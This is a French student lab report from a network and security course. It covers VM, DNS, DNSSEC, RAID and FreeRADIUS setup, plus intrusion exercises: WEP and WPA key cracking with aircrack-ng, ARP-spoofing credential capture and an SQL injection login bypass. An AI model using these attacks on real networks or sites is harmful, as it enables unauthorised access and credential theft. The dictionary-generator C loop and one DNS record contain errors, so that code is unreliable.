Puisque j'ai été la plus avancée au niveau de la réalisation de la VM et de certaines parties concernant le service internet, les tests d'intrusion et les réalisations, j'ai voulu aider mes camarades.

Je me souviens de Nathan qui a été confiné cas contact que j'ai aidé à configurer sa machine virtuelle et lancer son domaine via gandi.net. Il a pu rattraper le retard et donc bien avancer.

Puis, d'autres au niveau de de la sécurisation du site web par certificat et par DNSSEC.

J'ai aussi réalisé d'autres travaux comme l'utilisateur username.

Une interconnexion, j'ai connecté les routeurs 6509 et 3560E, ils ont alors été en conflit mais les VM ont tout de même continué à répondre.

J'ai aussi eu un moment une connexion avec SSID_Lulya via mon portable sans internet ce qui était normal.

TP sysres IMA2a5 2020/2021 G7

2020-12-16T07:34:29Z

Lchenu : /* Sécurisation de données */

== Partie commune ==
Pour commencer, nous avons divisé le travail concernant l'installation de la maquette réseau. J'ai alors fait équipe avec Thomas et Alexandre pour configurer les 3 routeurs (cf : Wiki Groupe n°6 VITTECOQ Thomas - Partie Commune)

L'objectif est la réalisation d'un système réseau répondant aux protocoles IPV6 et assurant une redondance matérielle.

== Installation de la machine virtuelle Xen ==

=== Création de la VM ===
Je commence par créer la VM sur le serveur commun capbreton, je me connecte alors en ssh
ssh root@capbreton.plil.info

Nom de ma machine : hawker

Adresse IP de la machine : 193.48.57.171

Adresse du routeur : 193.48.57.163

Le répertoire des disques virtuels : /usr/local/xen

xen-create-image est une commande qui permet de créer facilement de nouvelles instances Xen.
xen-create-image --hostname=hawker --ip=193.48.57.171 --gateway=193.48.57.163 --dir=/usr/local/xen –dist=beowulf

J’ai aussi utilisé une seconde méthode qui fonctionne mieux en gardant le nom de ma machine hawker

Le miroir Debian est celui de l’école : http://fr.deb.devuan.org/merged/

La distribution stable courant : http://proxy.polytech-lille.fr:3128

xen-create-image --hostname=hawker --dhcp --dir=/usr/local/xen --dist=ascii --apt_proxy=http://proxy.polytech-lille.fr:3128 --mirror=http://fr.deb.devuan.org/merged/ --force

En lançant un second terminal, je peux suivre le processus d’installation
tail -f /var/log/xen-tools/hawker.log

Lorsque l’installation est terminée, j'obtiens plusieurs informations dont le mot de passe du routeur.

Installation Summary
---------------------
Hostname : hawker
Distribution : ascii
MAC Address : 00:16:3E:A4:65:07
IP Address(es) : dynamic
SSH Fingerprint : SHA256:xxxxxxx (DSA)
SSH Fingerprint : SHA256:xxxxxxx (ECDSA)
SSH Fingerprint : SHA256:xxxxxxx (ED25519)
SSH Fingerprint : SHA256:xxxxxxx (RSA)
Root Password : xxxxxxxxxxxxxxxxxxxxxxxx

Via la commande passwd, j'ai changé le mot de passe par "glopglop"

=== Configuration de la VM ===

Pour commencer, je dois modifier le fichier de configuration de la VM pour donner accès au bridge réseau.
Je récupère le nom du bridge "IMA2a5"
brctl show
bridge name bridge id STP enabled interfaces
'''IMA2a5 8000.34800d508a83 no ether1'''
IMA5sc 8000.34800d508a82 no ether0
L3MRIT 8000.b026289b2c9a no ether2
Trunk 8000.4cd98fa49258 no ether4
bridgeGIS 8000.4cd98fa49258 no vlan502

J'accède au fichier de configuration de ma VM /etc/xen/hawker.cfg
J'ajoute mon adresse MAC donnée précédemment et le bridge IMA2a5.

kernel = '/boot/vmlinuz-4.9.0-6-amd64'
extra = 'elevator=noop'
ramdisk = '/boot/initrd.img-4.9.0-6-amd64'

vcpus = '1'
memory = '1024'

root = '/dev/xvda2 ro'
disk = [
'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',
'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',
]

name = 'hawker'

'''vif = [ 'mac=00:16:3E:A4:65:07, bridge=IMA2a5' ]'''

on_poweroff = 'destroy'
on_reboot = 'restart'
on_crash = 'restart'

J'accède à ma machine virtuelle
xl create /etc/xen/hawker.cfg
xl console hawker

Je crée deux répertoires var et home qui seront sur des partitions LVM de l'hôte
lvcreate -L10G -n hawker-var virtual
lvcreate -L10G -n hawker-home virtual

Je pointe le système de fichier sur les deux nouvelles partitions
mke2fs /dev/virtual/hawker-home
mke2fs /dev/virtual/hawker-var

Les disques sont finalisés, je les connecte à la VM en modifiant le fichier de configuration hawker.cfg.

disk = [
'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',
'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',
''''phy:/dev/virtual/hawker-home,xvdb1,w','''
''''phy:/dev/virtual/hawker-var,xvdb2,w','''
]

Puis je redémarre la VM pour prendre en compte les modifications
xl shutdown hawker
xl create /etc/xen/hawker.cfg

A travers le fichier /etc/fstab, je dois modifier la configuration pour forcer le montage à chaque démarrage.
/dev/xvdb1 /home ext4 defaults 0 2 //0 sauvegarde et 2 place
#/dev/xvdb2 /var ext4 defaults 0 2
A travers c’est deux commandes, j’assure la montée des 2 disques /home et /var à chaque démarrage. Juste avant cette étape pour /var, que je laisse en commentaire, j’ai du assurer le systèmes de fichiers. Il faut bien faire attention, une mauvaise manipulation peut détruire la machine.
mkfs -t ext4 /dev/xvdb2
mount /dev/xvdb2 /mnt
mv /var/* /mnt
blkid //Trouver ou afficher les attributs de périphérique bloc
/dev/xvda2: UUID="efa11821-8780-4938-9473-5d217752316e" TYPE="ext4"
/dev/xvda1: UUID="1a3161b3-a90d-4da5-a224-cfc496e70c89" TYPE="swap"
/dev/xvdb1: UUID="5645526d-2cf4-42b5-a4a7-94fdda100ca1" TYPE="ext4"
/dev/xvdb2: UUID="5b49ce5f-8116-4c41-aa25-97536f644803" TYPE="ext4"
vi /etc/fstab
Par la suite, je peux décommenter la ligne et exécuter :
umount /mnt
mount -a
Je vérifie que les disques sont bien montés via la commande db
Filesystem 1K-blocks Used Available Use% Mounted on
udev 483904 0 483904 0% /dev
tmpfs 100712 120 100592 1% /run
/dev/xvda2 4062912 791352 3045464 21% /
tmpfs 5120 0 5120 0% /run/lock
tmpfs 306280 0 306280 0% /dev/shm
'''/dev/xvdb1 10255636 36872 9678092 1% /home'''
'''/dev/xvdb2 10255636 315536 9399428 4% /var'''

On peut vérifier que la VM est prête
xl list
Name ID Mem VCPUs State Time(s)
Domain-0 0 4046 4 r----- 6978.3
boeing 1 256 1 -b---- 185.5
NightHawk 3 1024 1 -b---- 826.8
'''hawker 4 1024 1 -b---- 776.9'''
blackbird 5 256 1 -b---- 640.4
Falcon 6 256 1 -b---- 691.7
rafale 8 256 1 -b---- 606.0
mirage 12 1024 1 -b---- 668.6
alpha-jet 13 256 1 -b---- 591.4
concorde 19 1024 1 -b---- 148.5
oronge 20 256 1 -b---- 536.2
On peut voir que l’état du domaine est r, cela stipule qu’il fonctionne.
Les VM ont un état -b, ce qui valide le fait qu’elles fonctionnent toutes. Au delà des IMA2A5, on voit aussi une des IMA5sc.

== Services Internet ==

=== Configuration du réseau ===

Dès que ma machine virtuelle est prête, je passe en root dessus. Pour permettre l'accès à internet, je configure le réseau /etc/networks/interfaces
auto eth0
iface eth0 inet static
address 193.48.57.171
netmask 255.255.255.240
gateway 193.48.57.163

Je configure alors les interfaces réseau grâce aux définitions du fichier au dessus
ifdown eth0
ifup eth0

Je vérifie que le processus s'est bien déroulé
ip r
default via 193.48.57.163 dev eth0 onlink
193.48.57.160/28 dev eth0 proto kernel scope link src 193.48.57.171
ping 193.48.57.162 (Adresse IP 3560E)

=== Serveur SSH ===
Je fais en sorte que ma MV soit accessible à distance, je configure un serveur ssh. Je modifie alors le fichier de configuration /etc/ssh/ssh_config en modifiant cette ligne :
vi /etc/ssh/sshd_config
PermitRootLogin yes // Permet l'accès direct en root
service ssh restart
Je n'ai alors plus besoin de passer par la commande xl console pour accéder à ma VM, j'utilise directement le ssh.
ssh root@193.48.57.171

=== Serveur DNS ===

Le DNS (Domain Name System) permet d'établir la correspondance entre le nom de domaine d'un site et l'adresse IP où il est hébergé sur le réseau internet. Pour accéder à mon site, je n’aurais plus besoin d’indiquer mon adresse IP mais le nom du site choisi.

Il faut que je configure mon domaine sur gandi.net et en étant root sur ma machine virtuelle hawker.

Je commence donc par acheter un nom de domaine sur le site gandi.net : lulya.space. Je passe par « glue records » utilisé pour associer un hostname (nom de serveur ou DNS) à une adresse IP au registre.
ns.lulya.space
193.48.57.171

Les serveurs de noms permettent d'accéder à un réseau ou du contenu sur internet depuis un nom de domaine.
ns.lulya.space 1
ns6.gandi.net 2
Pour le prise en compte ces modifications, on attend de 12 à 24h.

Pour gérer mon serveur DNS, j’utilise la commande bind9 et passe par une configuration en ajoutant et modifiant plusieurs fichiers dans etc/bind.
Le fichier named.conf.options qui gère les options de configuration du DNS :
options {
directory "/var/cache/bind";
dnssec-validation auto;
listen-on-v6 { any; };
allow-transfer { "allowed_to_transfer"; };
};
acl "allowed_to_transfer" {
217.70.177.40/32; //Adresse IP de dns6.gandi.net
};

Puis le fichier named.conf.local pour déclarer les zones associées au domaine:
zone "lulya.space" {
type master;
file "/etc/bind/db.lulya.space";
};

Enfin, le fichier de configuration /etc/bind/db.lulya.space :
$TTL 3600
@ IN SOA ns.lulya.space. postmaster.lulya.space. (
1 ; Version
1800 ; Refresh (30m)
600 ; Retry (10m)
3600 ; Expire (1h)
3600 ) ; Minimum TTL (1h)
@ IN NS ns.lulya.space.
@ IN NS ns6.gandi.net.
ns IN A 192.48.57.171

J’attends quelques minutes puis relance bind9. Mon site http://www.lulya.space est accessible, je peux alors le visualiser en tapant l’adresse sur internet.

Lorsque le DNS est fini d’être configuré, je peux le tester en lançant ping -6 google.fr, je peux voir que cela fonctionne, je considère mon DNS bien configuré.

=== Sécurisation de site web par certificat ===

L'objectif est de sécuriser www.lulya.space.
Je dois passer par une méthode de vérification sur le serveur Web cible. Il existe, je crois, 3 méthodes, j'ai choisi par mail.

Je modifie mon fichier db.lulya.space
Version : 2
IN MX 100 ns
www IN A 193.48.57.171

Je relance le service bind9 et installe le serveur de messagerie PostFix. En lançant la commande mailx, je peux alors vérifier que j'ai bien reçu un mail et l'achat du certificat se finalise.

Gandi fournit une clé hawker.pem et un certificat hawker.crt, je génère une clé : lulya.csr en utilisant l'utilitaire OpenSSL dans le dossier /etc/apache2/certificat
openssl req -nodes -newkey rsa:2048 -sha256 -keyout lulya.key -out lulya.csr

J'achète un certificat clé pour se connecter de façon sécurisée sur Gandi en passant par la rubrique Cerificat SSL. Je partage ma clé.csr avec Gandi, il étudie la validité de mon domaine lulya.space, puis choisi ou non de le certifier.

Pour valider cette étape, j'ai envoyé un mail par polytech mail, et je l'ai vu via la commande mailx.

En rencontrant un problème, j'ai utilisé une commande servant d'outil de dépannage.

nano /etc/aliases
apt install strace
strace -f -o open newaliases
strace -f newaliases
newaliases /etc/aliases
J'envoie un nouveau mail mais à admin.
Grâce à mailx, on voit le mail, c'est mon certificat

=== Sécurisation de serveur DNS par DNSSEC ===

Au delà de mon site sécurisé, je veux avoir toute la chaine de transmission, ce qui évitera la fraude. Je sécurise mon serveur DNS en signant la zone correspondant à mon nom de domaine.
Je débute par l'ajout de l'option dnssec-enable yes dans named.conf.options.

Ensuite, je crée un répertoire lulya.space.dnssec pour y générer des paires de clés.
La clé asymétrique de signature de clefs de zone
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE lulya.space
La clé asymétrique de zone pour les enregistrements
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE lulya.space

Je renomme les deux paires de clés obtenues en utilisant le nom de la zone comme préfixe et en suffixe :

- la destination de la clef : ksk pour la clef KSK et zks pour la clef ZSK

- puis par le type de clef : .key pour la clef publique ou .private pour la clef privée
mv Klulya.space.+005+11461.key lulya.space-ksk.key
mv Klulya.space.+005+11461.private lulya.space-ksk.private
mv Klulya.space.+005+27882.key lulya.space-zsk.key
mv Klulya.space.+005+27882.private lulya.space-zsk.private
Pour finir, je les place dans un dossier crée /etc/bind/lulya.space.dnssec

Ensuite, j'inclue les clefs publiques dans mon fichier db.lulya.space
$include /etc/bind/lulya.space.dnssec/lulya.space-ksk.key
$include /etc/bind/lulya.space.dnssec/lulya.space-zsk.key

Je signe les enregistrements
dnssec-signzone -o lulya.space -k lulya.space-ksk ../db.lulya.space lulya.space-zsk

Je modifie le fichier named.conf.local pour utiliser db.lulya.space.signed
zone "lulya.space" {
type master;
file "/etc/bind/db.lulya.space.signed";
};

Après avoir finalisé tous les paramètres de mon site www.lulya.space, je vérifie sa configuration sur le site dnsvize.net
On peut voir que tout est bien en place de mon côté. Par contre, il existe un défaut du côté du .space détenu par mon nom de domaine.

[[Fichier:DNS Léna.png|800px|thumb|left|Interface eth0]]
 

== Tests d'intrusion ==

=== Cassage de clef WEP d’un point d’accès WiFi ===

On branche d’abord une clef wifi et je commence à installer le paquetage aircrack-ng.

Je dois trouver le point d’accès : canal et nom des réseaux.

Via airmon-ng, un script permettant d’activer ou de désactiver le mode moniteur d’une carte réseau.

Dans notre cas, la carte Wi-fi se place en observateur du réseau.

Je liste les interfaces disponibles :
root@zabeth09:~# airmon-ng
PHY Interface Driver Chipset
phy0 wlx40a5efd2140c rt2800usb Ralink Technology, Corp. RT5370

Puis, je passe la carte Wifi wlx40a5efd2140c en mode moniteur, espion du réseau sans fil.

root@zabeth09:~# airmon-ng start wlx40a5efd2140c
Interface wlx40a5efd2140cmon is too long for linux so it will be renamed to the old style (wlan#) name.
(mac80211 monitor mode vif enabled on [phy0]wlan0mon
(mac80211 station mode vif disabled for [phy0]wlx40a5efd2140c)

Le nom de l'interface a été modifié, considéré trop long et wlan0mon a été choisi.

En relançant airmon-ng, on peut voir que le nom de l’interface a bien été changé
root@zabeth09:~# airmon-ng
PHY Interface Driver Chipset
phy0 wlan0mon rt2800usb Ralink Technology, Corp. RT5370

Je scanne le réseau Wifi, j’obtiens toutes les trames Wifi sur tous les canaux
root@zabeth09:~# airmon-ng –encrypt wep wlan0mon

Le terminal essaye d'obtenir tous les channels et beaucoup d'informations s'affichent.

Je visualise cracotte07 dans la liste pour ses informations.
root@zabeth09:~# airodump-ng --channel 9 --bssid 04:DA:D2:9C:50:56 wlan0mon
Tous les cracotte sont limitées au channel 9 et le SSID de cracotte07 est 04:DA:D2:9C:50:56

Je récupère toutes les données qui transitent sur ce channel en me concentrant uniquement sur les paquets échangés avec cracotte07.
airodump-ng -w lcrack -c 9 --bssid 04:DA:D2:9C:50:56 wlan0mon

Après avoir suffisamment de trames volées, je lance un autre terminal pour décrypter la clé WEP
root@zabeth09:~# aircrack-ng lcrack-01.cap
Opening lcrack-01.capse wait…

Il faut attendre plusieurs minutes et on obtient la clé, on peut voir qu’il en a testé 833 avant.

Aircrack-ng 1.5.2
[00:00:00] Tested 833 keys (got 73079 IVs)
KB depth byte(vote)
0 0/ 17 F1(93696) BD(84480) E7(84224) 6F(83456) 12(82176)
1 0/ 1 91(103680) 34(83968) 54(83456) B3(83456) B9(82432)
2 2/ 2 60(83200) 3A(82688) 7E(82176) 12(81920) 0E(81664)
3 15/ 3 B1(79872) 06(79616) 11(79616) 5B(79360) B2(79104)
4 0/ 1 74(103168) 8D(85248) 03(82176) 7A(82176) 21(81664)
KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:09:99:99:99 ]
Decrypted correctly: 100%

=== Cassage de mot de passe WPA-PSK par force brute ===
En utilisant la même méthode, on peut craquer une autre clef WPA.
root@zabeth09:~# airodump-ng -w lkrack -c 4 --bssid 00:14:1B:60:8C:26 wlan0mon
-rw-r--r-- 1 root root 88K Nov 4 17:11 lkrack-03.cap

Le craquage doit se faire avec l’aide d’un dictionnaire. On suppose que la clef WPA est un nombre sur 8 chiffres, je vais donc créer un dictionnaire de ce format via un code en langage c.

int main(void){
int x;
for(x=0; x=99999999; x++){
printf("%08d\n",x);
}
}

Je compile main.c, ça consiste en une série d'étapes de transformation du code source en du code machine exécutable. La série de nombres doit se retrouver alors dans mon fichier cible dico.
root@zabeth09:~# gcc -Wall -o dico main.c

Je vérifie que cette commande s'est bien déroulée, en vérifiant le début et la fin du fichier dico.
root@zabeth09:~# ./dico | more
00000000
00000001
00000002
00000003
00000004
root@zabeth09:~# ./dico | tail
99999995
99999996
99999997
99999998
99999999

Je finis par les transférer dans un fichier .txt et l'envoie à d'autres PC
root@zabeth09:~# ./dico > dico.txt
root@zabeth09:~# scp dico.txt zabethxx

Je choisis de lancer le traitement sur 2 PC plus puissant, normalement 5 fois plus, zabeth22 et zabeth26, que mon PC zabeth09.
Je commence à exécuter le traitement sur le fichier que je viens de créer dico.txt comportant tous les nombres de 0 à 9999 9999.
root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/
root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/lkrack-03.cap > /tmp/result

En remarquant le temps que cela va prendre, je décide de couper ce fichier en 2 et de lancer un autre traitement mais seulement sur les nombres à partir de 4999 9999. L'exécution est censée prendre 2 fois moins de temps que celle sur zabeth22.
root@zabeth09:~# split -n 2 dico.txt
J’obtiens alors 2 fichiers xaa et xab, comportant les 2 moitiés de dico
root@zabeth09:~# ls -lhrt
-rw-r--r-- 1 root root 101 Nov 4 17:09 main.c
-rwxr-xr-x 1 root root 17K Nov 4 17:09 dico
-rw-r--r-- 1 root root 430M Nov 4 17:15 xaa
-rw-r--r-- 1 root root 430M Nov 4 17:15 xab
En tapant la commande tail, je vérifie que celui que je veux est bien xab

Puis je passe sur zabeth26 et je passe au même procédé que sur zabeth22
root@zabeth26:~# aircrack-ng -w /tmp/xab /tmp/lkrack-03.cap > /tmp/result

Pour finir, je fais en sorte de voir en direct les deux calculs de correction de clé (défilement des nombres)
root@zabeth22:~# cat /tmp/result
Aircrack-ng 1.5.2
[00:09:13] 10260165/102795810 keys tested (3427.05 k/s)
Time left: 7 hours, 30 minutes, 1 second 9.98%
KEY FOUND! [ 10255555 ]

La clé se trouvait dans les 1er 10 % de dico. On peut voir qu'on obtient 8 chiffres, un seul correspond à la clé.
On peut lire le temps qu’il lui restait pour tout analyser, ça confirme que c’était une bonne idée de lancer le second traitement.
Il est logique que celui-ci nous donne aucune clé en réponse.

root@zabeth26:~# cat /tmp/result
[00:46:05] 50000000/51397904 keys tested (3498.19 k/s)
Time left: 0 seconds 97.28%
KEY NOT FOUND
Anecdote, le traitement est considéré terminé au vu du temps qu'il ne reste pas, mais il est tout de même écrit 97.28% d'analyse effectuée. Il existe souvent des petites erreurs de suivis des ordinateurs, mais non critiques.

=== Attaque de type "homme au milieu" par usurpation ARP ===

J'ai besoin du paquetage dsniff qui contient plusieurs outils pour écouter ou créer du trafic réseau :

- arpspoof : envoie des réponses ARP non requises et potentiellement falsifiées

- dnsspoof : crée des réponses à des requêtes d'adresse ou de pointeur DNS arbitraires sur le réseau local

- dsniff : écoute de mots de passe pour différents protocoles

Je vérifie d’abord que dorade est bien configuré au niveau du réseau.
root@dorade:/home/pifou# cat /etc/network/interfaces
# This is an autoconfigured IPv6 interface
iface eth0 inet static
address 172.26.145.101
netmask 255.255.255.0
gateway 172.26.145.254

Je récupère son interface ethernet, la commande liste toutes les interfaces avec les informations nécessaires
root@dorade:/home/pifou# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000

Une commande permet de voir la table de routage.
root@dorade:/home/pifou# ip r
default via 172.26.145.254 dev eth0 onlink
169.254.0.0/16 dev eth0 scope link metric 1000
172.26.145.0/24 dev eth0 proto kernel scope link src 172.26.145.101

Je vérifie qu’il est bien relié au réseau en pingant zabeth09.
root@dorade:/home/pifou# ping zabeth09
PING zabeth09(2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9)) 56 data bytes
64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=1 ttl=64 time=0.914 ms
64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=2 ttl=64 time=0.813 ms
--- zabeth09 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 0.813/0.863/0.914/0.058 ms

En vérifiant toutes ces informations, je valide le fait qu’il est bien configuré au réseau et peut communiquer avec tous les équipements dont zabeth09.

Je transforme dorade en routeur, ce mode est géré par la variable noyau /proc/sys/net/ipv4/ip_forward.

- La commande retourne la valeur 0 : l'IP Forwarding n'est pas activé.

- La commande retourne la valeur 1 : l'IP Forwarding est activé.
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward 0
Dorade n’est pas en mode routeur, je passe alors le noyau à 1
root@dorade:/home/pifou# echo 1 > /proc/sys/net/ipv4/ip_forward

J'utilise la commande arpsppof, en prenant les informations collectées au début.
Dorade via eth0, son interface ethernet, envoie des réponses ARP non requises à zabeth09 en passant par le gateway, qui examine la légitimité de sa demande qui en réalité ne l'est pas.
root@dorade:/home/pifou# arpspoof -i eth0 -t zabeth09 172.26.145.254
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1

Lors de cette étape toujours en cours, je lance un second terminal.
Je vérifie que dorade est bien routeur et installe wireshark, il permet d'analyser les paquets, le réseau et les protocoles.
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward 1
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/conf/all/rp_filter 0
root@dorade:/home/pifou# wireshark
[[Fichier:Mdp zabeth09.png|800px|thumb|left|Interface eth0]]
 
On voit tous les protocoles de transfert dont celui qui m'a permis de récupérer des informations confidentielles, ici le nom d'utilisateur : pifou et le mot de passe : pasglop.
On peut aussi savoir que je l'ai récupéré par un site de Polytech : http://applications.polytech-lille.fr

=== Intrusion sur un serveur d’application Web ===

Je veux m'introduire sur un site de Polytech honey.plil.info.
Je commence par trouver une requête SQL qui vérifiera la validité de la connexion pour la page d'identification de ce site.
SELECT id FROM users WHERE id='$id' AND pass='$pass';
Puis je dois trouver ce que doit contenir $pass pour que cette requête récupère en fait toutes les lignes de la table utilisateurs.
Le true n'existe pas en SQL, je vais alors en simuler un : ' OR ''='

Pour accéder au site, qui me demande un identifiant et un mot de passe, je procède de cette façon : Nom d'utilisateur : N'importe et mot de passe : ' OR ''='

J'accède au site qui m'affiche la liste des utilisateurs et leur mot de passe
[[Fichier:Honey_Léna.png|380px|thumb|left|Listes des utilisateurs]]
 

== Réalisation ==

=== Sécurisation de données ===

Pour sécuriser mes données, je passe par une redondance matérielle comme le fait déjà Polytech. On évite de tout perdre s'il y a un problème.

Je crée un RAID5 logiciel sur ma VM. Il permet d'écrire les données à la suite sur les disques durs qui sont stockées. Si on perd un disque, les données pourront être reconstituées par les autres toujours fonctionnels.

Sur Capbreton, je créé un disque niveau 5, un seul système de fichier composé de 3 partitions.

Je commence par créer les 3 partitions LVM de 1Go
lvcreate -l1G -n hawker-raid1 storage
lvcreate -l1G -n hawker-raid2 storage
lvcreate -l1G -n hawker-raid3 storage

Je visualise les disques créés via la commande
vgdisplay
Il existe 3 types de volumes différents : storage, virtual et system.

Je les associe à ma VM en l'éteignant et modifiant le fichier de configuration hawker.cfg en ajoutant :
disk= [ ...
'phy:/dev/virtual/hawker-raid1,xvdc1,w',
'phy:/dev/virtual/hawker-raid2,xvdc2,w',
'phy:/dev/virtual/hawker-raid3,xvdc3,w',
]

Puis je le rallume ma VM et via la commande lsblk, je vois mes 3 disques ajoutés.

Je met en place le disque niveau 5 (RAID5) avec les 3 partitions
mdadm --create /dev/md0 --level=5 --raid-devices 3 /dev/xvdc1 /dev/xvdc2 /dev/xvdc3
Je reprends le protocole que j'ai déjà effectué pour les partitions xvdb en utilisant mkfs, mount et cat. Les partitions sont alors actives.
mkfs /dev/md0
mount /dev/md0 /mnt
cat /proc/mdstat

Et je dois imposer le montage de RAID5 à chaque démarrage
/dev/md0 /raid5 ext2 defaults 0 2

Si je stocke des données, en exemple le dossier bind, je les retrouve dans le répertoire raid5. Je vérifie que le système fonctionne et que mes données sont sécurisées.

1er essai : Je commence par commenter la ligne du disque 2 de mon fichier de configuration. Les partitions sont considérées inactives, je repasse par le protocole précédent pour les réactiver et remonter mon disque. Malgré cet incident, on retrouve toutes les données présentes au même endroit.

2ème essai : Je simule la perte du disque 2
cp -a /usr/bin /mnt //Copie de données
dd if=/dev/zero of=toto bs=1024k count=100 //Copier partie ou tout d'un disque

mdadm --set-faulty /dev/md0 /dev/xvdc2 //Perte du fichier disque 2
cat /proc/mdstat //On voit qu'on a plus de partitions
ls -R /mnt //Vérifier qu'on a gardé les fichiers
umount /mnt //Démonter le système de fichier

mdadm --remove /dev/md0 /dev/xvdc2 //Je replace la partitions 2
mdadm --add /dev/md0 /dev/xvdc2
cat /proc/mdstat //On voit qu'il met quelques temps à le récupérer

Je considère la sécurisation de mes données de VM atteinte.

Encore utilisé à Polytech, on voit un disque gardé au cas où ceux en marche expire. Il gère les fichiers du disque qui va expirer. Quand replace un nouveau, il replace les fichiers dans celui là. Il fera cette même action à chaque fois.

=== Chiffrement de données ===

L'objectif est le cryptage de données contenues par une clé USB. Protégée par un mot de passe, il faudra le connaître pour accéder à son contenu.

Je branche une clé USB sur mon PC et la sécurise
cryptsetup open /dev/sdb cle --type : plain
password : licorne
Dans ce cas, on peut utiliser deux types de cryptage : Plain ou Luks, j'ai choisi plain conseillé par M. Redon.
Je lance la commande lsbk pour visualiser les périphériques disponibles comme sdb : sdb1, sdb2 et je trouve aussi clé ajoutée après la commande cryptsetup
Je supprime les signatures et les avertissements
wipefs --all --force /dev/sdb

ls /dev/mapper
clé : nom du périphérique chiffré
/dev/mapper cle

Système de fichier pour mapper.
Création
mkfs /dev/mapper/cle
Montage
mount /dev/mapper/cle /mnt
dh -h
Donne l'espace disque libre sur chaque système de fichier monté.
On a quelque chose sur la clé.
Création de fichier
nano /mnt/toto
Démonter la clé
umount /mnt
crypt setup close cle --type = plain
/cle/mapper n'est plus accessible
Sur un autre ordinateur, la clé est invisible. Même si je fais un open, je la vois mais il me demande le mot de passe qui est licorne (choisi au début).

=== Sécurisation WiFi par WPA2-EAP ===

==== Configuration serveur FreeRadius ====

L'objectif est le contrôle par WPA2-EAP de l'accès à la borne WIFI. L'identification sera fera grâce à un serveur FreeRadius, qui permet de centraliser tous les utilisateurs, pour la sécurisation filaire.

Je dois procéder à la configurarion du serveur FreeRadius sur ma machine virtuelle.

Evidemment, je commence par l'installer, en procédant d'abord à une mise à jour.
apt update
apt install freeradius

Puis je passe à la configuration et ajoute un utilisateur dans le fichier /etc/freeradius/3.0/users
pifou Cleartext-Password := "glopglop"

/etc/freeradius/3.0/mods-enabled/eap
eap{
default_eap_type = peap
}

/etc/freeradius/3.0//mods-enabled/mschap
//Décommenter et vérifier
use_mppe = yes
require_encryption = yes
require_strong = yes
//Ajouter
with_ntdomain_hack = yes

Dans le fichier /etc/freeradius/3.0/clients.conf rajouter la borne comme un client qui se connectera sur le server radius:
client access-point { /Nom du client
ipaddr = 10.60.0.100 //Adress IP de la borne
secret = glopglop //Mot secret saisi lors de la configuration
}

Une fois toutes les configurations terminées, j'arrête le serveur. Il faut faire attention car la commande stop n'a pas fonctionné.
service freeradius stop
ps auxwww | grep free
root 18316 0.0 0.0 3084 888 pts/0 S+ 22:49 0:00 grep free
kill 10659
Relancer en mode debug afin de visualiser les requêtes et tentatives de connexions
freeradius -X

==== Configuration des points d'accès WiFi ====

Il faut que j'ajoute un SSID protégé par la méthode WPA2-EAP à la configuration du point d’accès WiFi. Cela implique d’utiliser un nouveau VLAN donc un nouveau réseau IP à router par le routeur Wifi. Il faut aussi configurer le serveur virtuel Xen comme serveur d'identification.

J'accède à la configuration de la borne WiFi
minicom -os
port : /dev/ttyUSB2
Je peux vérifier que je suis sur la bonne borne en arrivant sur ap#

Je passe en mode privilégié et en mode configuration
ap#enable
ap#config term

On met la commande suivante pour :

authentification : vérifier l'identité de l'utilisateur

authorization : pouvoir limiter l'accès à certaines fonctionnalités

accounting : pouvoir enregistrer les actions de l'utilisateur

ap(config)#aaa new-model

Création du serveur radius en prenant mon adresse IP et le mot de passe choisi lors de la configuration du serveur FreeRadius
ap(config)#radius-server host 193.48.57.171 auth-port 1812 acct-port 1813 key glopglop

Définition du groupe de serveur
ap(config)#aaa group server radius radius_lulya

Association du groupe de serveur et du serveur de la VM
ap(config-sg-radius)#server 193.48.57.171 auth-port 1812 acct-port 1813

Définition du login et du groupe de serveur par lequel l'utilisateur passera pour s'authentifier
ap(config)#aaa authentication login eap_lulya group radius_lulya

Définition du SSID protégé par la méthode WPA2-EAP
ap(config)#dot11 ssid SSID_lulya //Reprise du nom Lulya
ap(config-ssid)#vlan 10
ap(config-ssid)#authentication open eap eap_lulya
ap(config-ssid)#authentication network-eap eap_lulya
ap(config-ssid)#authentication key-management wpa

Configuration du Vlan
ap(config)#interface Dot11Radio0
ap(config-if)#encryption vlan 10 mode ciphers aes-ccm tkip
ap(config-if)#ssid SSID_lulya

Création de sous interfaces
ap(config)#interface dot11Radio0.10
ap(config-subif)#encapsulation dot1Q 10
ap(config-subif)#bridge-group 10

ap(config)#interface fast0.10
ap(config-subif)#encapsulation dot1Q 10
ap(config-subif)#bridge-group 10

Ajout SSID dans l'interface Dot11Radio0
ap(config-subif)#interface Dot11Radio0
ap(config-if)#dot11 ssid SSID_lulya

Rendre le SSID visible
ap(config-ssid)#interface Dot11Radio0
ap(config-if)#mbssid
ap(config-if)#dot11 ssid SSID_lulya
